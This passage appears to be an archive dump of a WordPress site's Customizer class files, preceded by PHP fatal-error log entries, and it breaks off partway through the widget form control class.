  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[03-Nov-2025 06:43:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[03-Nov-2025 06:44:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[03-Nov-2025 06:47:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[03-Nov-2025 06:50:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[03-Nov-2025 06:52:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[03-Nov-2025 07:29:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19
[04-Nov-2025 05:30:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19
class-wp-customize-nav-menu-location-control.php000064400000004373151024210340016035 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Location_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Location Control Class.
 *
 * This custom control is only needed for JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Location_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_location';

	/**
	 * Location ID.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $location_id = '';

	/**
	 * Refresh the parameters passed to JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['locationId'] = $this->location_id;
	}

	/**
	 * Render content just like a normal select control.
	 *
	 * @since 4.3.0
	 * @since 4.9.0 Added a button to create menus.
	 */
	public function render_content() {
		if ( empty( $this->choices ) ) {
			return;
		}

		$value_hidden_class    = '';
		$no_value_hidden_class = '';
		if ( $this->value() ) {
			$value_hidden_class = ' hidden';
		} else {
			$no_value_hidden_class = ' hidden';
		}
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
			<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>

			<?php if ( ! empty( $this->description ) ) : ?>
			<span class="description customize-control-description"><?php echo $this->description; ?></span>
			<?php endif; ?>

			<select <?php $this->link(); ?>>
				<?php
				foreach ( $this->choices as $value => $label ) :
					echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . esc_html( $label ) . '</option>';
				endforeach;
				?>
			</select>
		</label>
		<button type="button" class="button-link create-menu<?php echo $value_hidden_class; ?>" data-location-id="<?php echo esc_attr( $this->location_id ); ?>" aria-label="<?php esc_attr_e( 'Create a menu for this location' ); ?>"><?php _e( '+ Create New Menu' ); ?></button>
		<button type="button" class="button-link edit-menu<?php echo $no_value_hidden_class; ?>" aria-label="<?php esc_attr_e( 'Edit selected menu' ); ?>"><?php _e( 'Edit Menu' ); ?></button>
		<?php
	}
}
class-wp-customize-cropped-image-control.php000064400000002663151024210340015215 0ustar00<?php
/**
 * Customize API: WP_Customize_Cropped_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Cropped Image Control class.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Cropped_Image_Control extends WP_Customize_Image_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'cropped_image';

	/**
	 * Suggested width for cropped image.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $width = 150;

	/**
	 * Suggested height for cropped image.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $height = 150;

	/**
	 * Whether the width is flexible.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	public $flex_width = false;

	/**
	 * Whether the height is flexible.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	public $flex_height = false;

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.3.0
	 */
	public function enqueue() {
		wp_enqueue_script( 'customize-views' );

		parent::enqueue();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['width']       = absint( $this->width );
		$this->json['height']      = absint( $this->height );
		$this->json['flex_width']  = absint( $this->flex_width );
		$this->json['flex_height'] = absint( $this->flex_height );
	}
}
class-wp-customize-filter-setting.php000064400000001114151024210340013751 0ustar00<?php
/**
 * Customize API: WP_Customize_Filter_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * A setting that is used to filter a value, but will not save the results.
 *
 * Results should be properly handled using another setting or callback.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Setting
 */
class WP_Customize_Filter_Setting extends WP_Customize_Setting {

	/**
	 * Saves the value of the setting, using the related API.
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $value The value to update.
	 */
	public function update( $value ) {}
}
class-wp-customize-custom-css-setting.php000064400000012250151024210340014567 0ustar00<?php
/**
 * Customize API: WP_Customize_Custom_CSS_Setting class
 *
 * This handles validation, sanitization and saving of the value.
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.7.0
 */

/**
 * Custom Setting to handle WP Custom CSS.
 *
 * @since 4.7.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Custom_CSS_Setting extends WP_Customize_Setting {

	/**
	 * The setting type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $type = 'custom_css';

	/**
	 * Setting Transport
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $transport = 'postMessage';

	/**
	 * Capability required to edit this setting.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $capability = 'edit_css';

	/**
	 * Stylesheet
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $stylesheet = '';

	/**
	 * WP_Customize_Custom_CSS_Setting constructor.
	 *
	 * @since 4.7.0
	 *
	 * @throws Exception If the setting ID does not match the pattern `custom_css[$stylesheet]`.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the setting.
	 *                                      Can be a theme mod or option name.
	 * @param array                $args    Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
		if ( 'custom_css' !== $this->id_data['base'] ) {
			throw new Exception( 'Expected custom_css id_base.' );
		}
		if ( 1 !== count( $this->id_data['keys'] ) || empty( $this->id_data['keys'][0] ) ) {
			throw new Exception( 'Expected single stylesheet key.' );
		}
		$this->stylesheet = $this->id_data['keys'][0];
	}

	/**
	 * Add filter to preview post value.
	 *
	 * @since 4.7.9
	 *
	 * @return bool False when preview short-circuits due no change needing to be previewed.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}
		$this->is_previewed = true;
		add_filter( 'wp_get_custom_css', array( $this, 'filter_previewed_wp_get_custom_css' ), 9, 2 );
		return true;
	}

	/**
	 * Filters `wp_get_custom_css` for applying the customized value.
	 *
	 * This is used in the preview when `wp_get_custom_css()` is called for rendering the styles.
	 *
	 * @since 4.7.0
	 *
	 * @see wp_get_custom_css()
	 *
	 * @param string $css        Original CSS.
	 * @param string $stylesheet Current stylesheet.
	 * @return string CSS.
	 */
	public function filter_previewed_wp_get_custom_css( $css, $stylesheet ) {
		if ( $stylesheet === $this->stylesheet ) {
			$customized_value = $this->post_value( null );
			if ( ! is_null( $customized_value ) ) {
				$css = $customized_value;
			}
		}
		return $css;
	}

	/**
	 * Fetch the value of the setting. Will return the previewed value when `preview()` is called.
	 *
	 * @since 4.7.0
	 *
	 * @see WP_Customize_Setting::value()
	 *
	 * @return string
	 */
	public function value() {
		if ( $this->is_previewed ) {
			$post_value = $this->post_value( null );
			if ( null !== $post_value ) {
				return $post_value;
			}
		}
		$id_base = $this->id_data['base'];
		$value   = '';
		$post    = wp_get_custom_css_post( $this->stylesheet );
		if ( $post ) {
			$value = $post->post_content;
		}
		if ( empty( $value ) ) {
			$value = $this->default;
		}

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		$value = apply_filters( "customize_value_{$id_base}", $value, $this );

		return $value;
	}

	/**
	 * Validate a received value for being valid CSS.
	 *
	 * Checks for imbalanced braces, brackets, and comments.
	 * Notifications are rendered when the customizer state is saved.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Checking for balanced characters has been moved client-side via linting in code editor.
	 * @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support.
	 *
	 * @param string $value CSS to validate.
	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
	 */
	public function validate( $value ) {
		// Restores the more descriptive, specific name for use within this method.
		$css = $value;

		$validity = new WP_Error();

		if ( preg_match( '#</?\w+#', $css ) ) {
			$validity->add( 'illegal_markup', __( 'Markup is not allowed in CSS.' ) );
		}

		if ( ! $validity->has_errors() ) {
			$validity = parent::validate( $css );
		}
		return $validity;
	}

	/**
	 * Store the CSS setting value in the custom_css custom post type for the stylesheet.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$css` to `$value` for PHP 8 named parameter support.
	 *
	 * @param string $value CSS to update.
	 * @return int|false The post ID or false if the value could not be saved.
	 */
	public function update( $value ) {
		// Restores the more descriptive, specific name for use within this method.
		$css = $value;

		if ( empty( $css ) ) {
			$css = '';
		}

		$r = wp_update_custom_css_post(
			$css,
			array(
				'stylesheet' => $this->stylesheet,
			)
		);

		if ( $r instanceof WP_Error ) {
			return false;
		}
		$post_id = $r->ID;

		// Cache post ID in theme mod for performance to avoid additional DB query.
		if ( $this->manager->get_stylesheet() === $this->stylesheet ) {
			set_theme_mod( 'custom_css_post_id', $post_id );
		}

		return $post_id;
	}
}
class-wp-customize-date-time-control.php000064400000022346151024210340014352 0ustar00<?php
/**
 * Customize API: WP_Customize_Date_Time_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Date Time Control class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Date_Time_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'date_time';

	/**
	 * Minimum Year.
	 *
	 * @since 4.9.0
	 * @var int
	 */
	public $min_year = 1000;

	/**
	 * Maximum Year.
	 *
	 * @since 4.9.0
	 * @var int
	 */
	public $max_year = 9999;

	/**
	 * Allow past date, if set to false user can only select future date.
	 *
	 * @since 4.9.0
	 * @var bool
	 */
	public $allow_past_date = true;

	/**
	 * Whether hours, minutes, and meridian should be shown.
	 *
	 * @since 4.9.0
	 * @var bool
	 */
	public $include_time = true;

	/**
	 * If set to false the control will appear in 24 hour format,
	 * the value will still be saved in Y-m-d H:i:s format.
	 *
	 * @since 4.9.0
	 * @var bool
	 */
	public $twelve_hour_format = true;

	/**
	 * Don't render the control's content - it's rendered with a JS template.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Export data to JS.
	 *
	 * @since 4.9.0
	 * @return array
	 */
	public function json() {
		$data = parent::json();

		$data['maxYear']          = (int) $this->max_year;
		$data['minYear']          = (int) $this->min_year;
		$data['allowPastDate']    = (bool) $this->allow_past_date;
		$data['twelveHourFormat'] = (bool) $this->twelve_hour_format;
		$data['includeTime']      = (bool) $this->include_time;

		return $data;
	}

	/**
	 * Renders a JS template for the content of date time control.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		$data          = array_merge( $this->json(), $this->get_month_choices() );
		$timezone_info = $this->get_timezone_info();

		$date_format = get_option( 'date_format' );
		$date_format = preg_replace( '/(?<!\\\\)[Yyo]/', '%1$s', $date_format );
		$date_format = preg_replace( '/(?<!\\\\)[FmMn]/', '%2$s', $date_format );
		$date_format = preg_replace( '/(?<!\\\\)[jd]/', '%3$s', $date_format );

		// Fallback to ISO date format if year, month, or day are missing from the date format.
		if ( 1 !== substr_count( $date_format, '%1$s' ) || 1 !== substr_count( $date_format, '%2$s' ) || 1 !== substr_count( $date_format, '%3$s' ) ) {
			$date_format = '%1$s-%2$s-%3$s';
		}
		?>

		<# _.defaults( data, <?php echo wp_json_encode( $data ); ?> ); #>
		<# var idPrefix = _.uniqueId( 'el' ) + '-'; #>

		<# if ( data.label ) { #>
			<span class="customize-control-title">
				{{ data.label }}
			</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{ data.description }}</span>
		<# } #>
		<div class="date-time-fields {{ data.includeTime ? 'includes-time' : '' }}">
			<fieldset class="day-row">
				<legend class="title-day {{ ! data.includeTime ? 'screen-reader-text' : '' }}"><?php esc_html_e( 'Date' ); ?></legend>
				<div class="day-fields clear">
					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-month" class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						esc_html_e( 'Month' );
						?>
					</label>
					<select id="{{ idPrefix }}date-time-month" class="date-input month" data-component="month">
						<# _.each( data.month_choices, function( choice ) {
							if ( _.isObject( choice ) && ! _.isUndefined( choice.text ) && ! _.isUndefined( choice.value ) ) {
								text = choice.text;
								value = choice.value;
							}
							#>
							<option value="{{ value }}" >
								{{ text }}
							</option>
						<# } ); #>
					</select>
					<?php $month_field = trim( ob_get_clean() ); ?>

					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-day" class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						esc_html_e( 'Day' );
						?>
					</label>
					<input id="{{ idPrefix }}date-time-day" type="number" size="2" autocomplete="off" class="date-input day tiny-text" data-component="day" min="1" max="31" />
					<?php $day_field = trim( ob_get_clean() ); ?>

					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-year" class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						esc_html_e( 'Year' );
						?>
					</label>
					<input id="{{ idPrefix }}date-time-year" type="number" size="4" autocomplete="off" class="date-input year tiny-text" data-component="year" min="{{ data.minYear }}" max="{{ data.maxYear }}">
					<?php $year_field = trim( ob_get_clean() ); ?>

					<?php printf( $date_format, $year_field, $month_field, $day_field ); ?>
				</div>
			</fieldset>
			<# if ( data.includeTime ) { #>
				<fieldset class="time-row clear">
					<legend class="title-time"><?php esc_html_e( 'Time' ); ?></legend>
					<div class="time-fields clear">
						<label for="{{ idPrefix }}date-time-hour" class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							esc_html_e( 'Hour' );
							?>
						</label>
						<# var maxHour = data.twelveHourFormat ? 12 : 23; #>
						<# var minHour = data.twelveHourFormat ? 1 : 0; #>
						<input id="{{ idPrefix }}date-time-hour" type="number" size="2" autocomplete="off" class="date-input hour tiny-text" data-component="hour" min="{{ minHour }}" max="{{ maxHour }}">
						:
						<label for="{{ idPrefix }}date-time-minute" class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							esc_html_e( 'Minute' );
							?>
						</label>
						<input id="{{ idPrefix }}date-time-minute" type="number" size="2" autocomplete="off" class="date-input minute tiny-text" data-component="minute" min="0" max="59">
						<# if ( data.twelveHourFormat ) { #>
							<label for="{{ idPrefix }}date-time-meridian" class="screen-reader-text">
								<?php
								/* translators: Hidden accessibility text. */
								esc_html_e( 'Meridian' );
								?>
							</label>
							<select id="{{ idPrefix }}date-time-meridian" class="date-input meridian" data-component="meridian">
								<option value="am"><?php esc_html_e( 'AM' ); ?></option>
								<option value="pm"><?php esc_html_e( 'PM' ); ?></option>
							</select>
						<# } #>
						<p><?php echo $timezone_info['description']; ?></p>
					</div>
				</fieldset>
			<# } #>
		</div>
		<?php
	}

	/**
	 * Generate options for the month Select.
	 *
	 * Based on touch_time().
	 *
	 * @since 4.9.0
	 *
	 * @see touch_time()
	 *
	 * @global WP_Locale $wp_locale WordPress date and time locale object.
	 *
	 * @return array
	 */
	public function get_month_choices() {
		global $wp_locale;
		$months = array();
		for ( $i = 1; $i < 13; $i++ ) {
			$month_text = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );

			/* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */
			$months[ $i ]['text']  = sprintf( __( '%1$s-%2$s' ), $i, $month_text );
			$months[ $i ]['value'] = $i;
		}
		return array(
			'month_choices' => $months,
		);
	}

	/**
	 * Get timezone info.
	 *
	 * @since 4.9.0
	 *
	 * @return array {
	 *     Timezone info. All properties are optional.
	 *
	 *     @type string $abbr        Timezone abbreviation. Examples: PST or CEST.
	 *     @type string $description Human-readable timezone description as HTML.
	 * }
	 */
	public function get_timezone_info() {
		$tz_string     = get_option( 'timezone_string' );
		$timezone_info = array();

		if ( $tz_string ) {
			try {
				$tz = new DateTimeZone( $tz_string );
			} catch ( Exception $e ) {
				$tz = '';
			}

			if ( $tz ) {
				$now                   = new DateTime( 'now', $tz );
				$formatted_gmt_offset  = $this->format_gmt_offset( $tz->getOffset( $now ) / HOUR_IN_SECONDS );
				$tz_name               = str_replace( '_', ' ', $tz->getName() );
				$timezone_info['abbr'] = $now->format( 'T' );

				$timezone_info['description'] = sprintf(
					/* translators: 1: Timezone name, 2: Timezone abbreviation, 3: UTC abbreviation and offset, 4: UTC offset. */
					__( 'Your timezone is set to %1$s (%2$s), currently %3$s (Coordinated Universal Time %4$s).' ),
					$tz_name,
					'<abbr>' . $timezone_info['abbr'] . '</abbr>',
					'<abbr>UTC</abbr>' . $formatted_gmt_offset,
					$formatted_gmt_offset
				);
			} else {
				$timezone_info['description'] = '';
			}
		} else {
			$formatted_gmt_offset = $this->format_gmt_offset( (int) get_option( 'gmt_offset', 0 ) );

			$timezone_info['description'] = sprintf(
				/* translators: 1: UTC abbreviation and offset, 2: UTC offset. */
				__( 'Your timezone is set to %1$s (Coordinated Universal Time %2$s).' ),
				'<abbr>UTC</abbr>' . $formatted_gmt_offset,
				$formatted_gmt_offset
			);
		}

		return $timezone_info;
	}

	/**
	 * Format GMT Offset.
	 *
	 * @since 4.9.0
	 *
	 * @see wp_timezone_choice()
	 *
	 * @param float $offset Offset in hours.
	 * @return string Formatted offset.
	 */
	public function format_gmt_offset( $offset ) {
		if ( 0 <= $offset ) {
			$formatted_offset = '+' . (string) $offset;
		} else {
			$formatted_offset = (string) $offset;
		}
		$formatted_offset = str_replace(
			array( '.25', '.5', '.75' ),
			array( ':15', ':30', ':45' ),
			$formatted_offset
		);
		return $formatted_offset;
	}
}
class-wp-customize-header-image-control.php000064400000017536151024210340015016 0ustar00<?php
/**
 * Customize API: WP_Customize_Header_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Header Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Header_Image_Control extends WP_Customize_Image_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'header';

	/**
	 * Uploaded header images.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $uploaded_headers;

	/**
	 * Default header images.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $default_headers;

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		parent::__construct(
			$manager,
			'header_image',
			array(
				'label'    => __( 'Header Image' ),
				'settings' => array(
					'default' => 'header_image',
					'data'    => 'header_image_data',
				),
				'section'  => 'header_image',
				'removed'  => 'remove-header',
				'get_url'  => 'get_header_image',
			)
		);
	}

	/**
	 */
	public function enqueue() {
		wp_enqueue_media();
		wp_enqueue_script( 'customize-views' );

		$this->prepare_control();

		wp_localize_script(
			'customize-views',
			'_wpCustomizeHeader',
			array(
				'data'     => array(
					'width'         => absint( get_theme_support( 'custom-header', 'width' ) ),
					'height'        => absint( get_theme_support( 'custom-header', 'height' ) ),
					'flex-width'    => absint( get_theme_support( 'custom-header', 'flex-width' ) ),
					'flex-height'   => absint( get_theme_support( 'custom-header', 'flex-height' ) ),
					'currentImgSrc' => $this->get_current_image_src(),
				),
				'nonces'   => array(
					'add'    => wp_create_nonce( 'header-add' ),
					'remove' => wp_create_nonce( 'header-remove' ),
				),
				'uploads'  => $this->uploaded_headers,
				'defaults' => $this->default_headers,
			)
		);

		parent::enqueue();
	}

	/**
	 * @global Custom_Image_Header $custom_image_header
	 */
	public function prepare_control() {
		global $custom_image_header;
		if ( empty( $custom_image_header ) ) {
			return;
		}

		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) );

		// Process default headers and uploaded headers.
		$custom_image_header->process_default_headers();
		$this->default_headers  = $custom_image_header->get_default_header_images();
		$this->uploaded_headers = $custom_image_header->get_uploaded_header_images();
	}

	/**
	 */
	public function print_header_image_template() {
		?>
		<script type="text/template" id="tmpl-header-choice">
			<# if (data.random) { #>
			<button type="button" class="button display-options random">
				<span class="dashicons dashicons-randomize dice"></span>
				<# if ( data.type === 'uploaded' ) { #>
					<?php _e( 'Randomize uploaded headers' ); ?>
				<# } else if ( data.type === 'default' ) { #>
					<?php _e( 'Randomize suggested headers' ); ?>
				<# } #>
			</button>

			<# } else { #>

			<button type="button" class="choice thumbnail"
				data-customize-image-value="{{data.header.url}}"
				data-customize-header-image-data="{{JSON.stringify(data.header)}}">
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Set image' );
					?>
				</span>
				<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
			</button>

			<# if ( data.type === 'uploaded' ) { #>
				<button type="button" class="dashicons dashicons-no close">
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Remove image' );
						?>
					</span>
				</button>
			<# } #>

			<# } #>
		</script>

		<script type="text/template" id="tmpl-header-current">
			<# if (data.choice) { #>
				<# if (data.random) { #>

			<div class="placeholder">
				<span class="dashicons dashicons-randomize dice"></span>
				<# if ( data.type === 'uploaded' ) { #>
					<?php _e( 'Randomizing uploaded headers' ); ?>
				<# } else if ( data.type === 'default' ) { #>
					<?php _e( 'Randomizing suggested headers' ); ?>
				<# } #>
			</div>

				<# } else { #>

			<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />

				<# } #>
			<# } else { #>

			<div class="placeholder">
				<?php _e( 'No image set' ); ?>
			</div>

			<# } #>
		</script>
		<?php
	}

	/**
	 * @return string|void
	 */
	public function get_current_image_src() {
		$src = $this->value();
		if ( isset( $this->get_url ) ) {
			$src = call_user_func( $this->get_url, $src );
			return $src;
		}
	}

	/**
	 */
	public function render_content() {
		$visibility = $this->get_current_image_src() ? '' : ' style="display:none" ';
		$width      = absint( get_theme_support( 'custom-header', 'width' ) );
		$height     = absint( get_theme_support( 'custom-header', 'height' ) );
		?>
		<div class="customize-control-content">
			<?php
			if ( current_theme_supports( 'custom-header', 'video' ) ) {
				echo '<span class="customize-control-title">' . $this->label . '</span>';
			}
			?>
			<div class="customize-control-notifications-container"></div>
			<p class="customizer-section-intro customize-control-description">
				<?php
				if ( current_theme_supports( 'custom-header', 'video' ) ) {
					_e( 'Click &#8220;Add Image&#8221; to upload an image file from your computer. Your theme works best with an image that matches the size of your video &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' );
				} elseif ( $width && $height ) {
					printf(
						/* translators: %s: Header size in pixels. */
						__( 'Click &#8220;Add Image&#8221; to upload an image file from your computer. Your theme works best with an image with a header size of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s &times; %s</strong>', $width, $height )
					);
				} elseif ( $width ) {
					printf(
						/* translators: %s: Header width in pixels. */
						__( 'Click &#8220;Add Image&#8221; to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s</strong>', $width )
					);
				} else {
					printf(
						/* translators: %s: Header height in pixels. */
						__( 'Click &#8220;Add Image&#8221; to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s</strong>', $height )
					);
				}
				?>
			</p>
			<div class="current">
				<label for="header_image-button">
					<span class="customize-control-title">
						<?php _e( 'Current header' ); ?>
					</span>
				</label>
				<div class="container">
				</div>
			</div>
			<div class="actions">
				<?php if ( current_user_can( 'upload_files' ) ) : ?>
				<button type="button"<?php echo $visibility; ?> class="button remove" aria-label="<?php esc_attr_e( 'Hide header image' ); ?>"><?php _e( 'Hide image' ); ?></button>
				<button type="button" class="button new" id="header_image-button" aria-label="<?php esc_attr_e( 'Add Header Image' ); ?>"><?php _e( 'Add Image' ); ?></button>
				<?php endif; ?>
			</div>
			<div class="choices">
				<span class="customize-control-title header-previously-uploaded">
					<?php _ex( 'Previously uploaded', 'custom headers' ); ?>
				</span>
				<div class="uploaded">
					<div class="list">
					</div>
				</div>
				<span class="customize-control-title header-default">
					<?php _ex( 'Suggested', 'custom headers' ); ?>
				</span>
				<div class="default">
					<div class="list">
					</div>
				</div>
			</div>
		</div>
		<?php
	}
}
class-wp-sidebar-block-editor-control.php000064400000001256151024210340014443 0ustar00<?php
/**
 * Customize API: WP_Sidebar_Block_Editor_Control class.
 *
 * @package WordPress
 * @subpackage Customize
 * @since 5.8.0
 */

/**
 * Core class used to implement the widgets block editor control in the
 * customizer.
 *
 * @since 5.8.0
 *
 * @see WP_Customize_Control
 */
class WP_Sidebar_Block_Editor_Control extends WP_Customize_Control {
	/**
	 * The control type.
	 *
	 * @since 5.8.0
	 *
	 * @var string
	 */
	public $type = 'sidebar_block_editor';

	/**
	 * Render the widgets block editor container.
	 *
	 * @since 5.8.0
	 */
	public function render_content() {
		// Render an empty control. The JavaScript in
		// @wordpress/customize-widgets will do the rest.
	}
}
class-wp-widget-form-customize-control.php000064400000005126151024210340014722 0ustar00<?php
/**
 * Customize API: WP_Widget_Form_Customize_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Widget Form Customize Control class.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Widget_Form_Customize_Control extends WP_Customize_Control {
	/**
	 * Customize control type.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $type = 'widget_form';

	/**
	 * Widget ID.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $widget_id;

	/**
	 * Widget ID base.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $widget_id_base;

	/**
	 * Sidebar ID.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $sidebar_id;

	/**
	 * Widget status.
	 *
	 * @since 3.9.0
	 * @var bool True if new, false otherwise. Default false.
	 */
	public $is_new = false;

	/**
	 * Widget width.
	 *
	 * @since 3.9.0
	 * @var int
	 */
	public $width;

	/**
	 * Widget height.
	 *
	 * @since 3.9.0
	 * @var int
	 */
	public $height;

	/**
	 * Widget mode.
	 *
	 * @since 3.9.0
	 * @var bool True if wide, false otherwise. Default false.
	 */
	public $is_wide = false;

	/**
	 * Gather control params for exporting to JavaScript.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 */
	public function to_json() {
		global $wp_registered_widgets;

		parent::to_json();
		$exported_properties = array( 'widget_id', 'widget_id_base', 'sidebar_id', 'width', 'height', 'is_wide' );
		foreach ( $exported_properties as $key ) {
			$this->json[ $key ] = $this->$key;
		}

		// Get the widget_control and widget_content.
		require_once ABSPATH . 'wp-admin/includes/widgets.php';

		$widget = $wp_registered_widgets[ $this->widget_id ];
		if ( ! isset( $widget['params'][0] ) ) {
			$widget['params'][0] = array();
		}

		$args = array(
			'widget_id'   => $widget['id'],
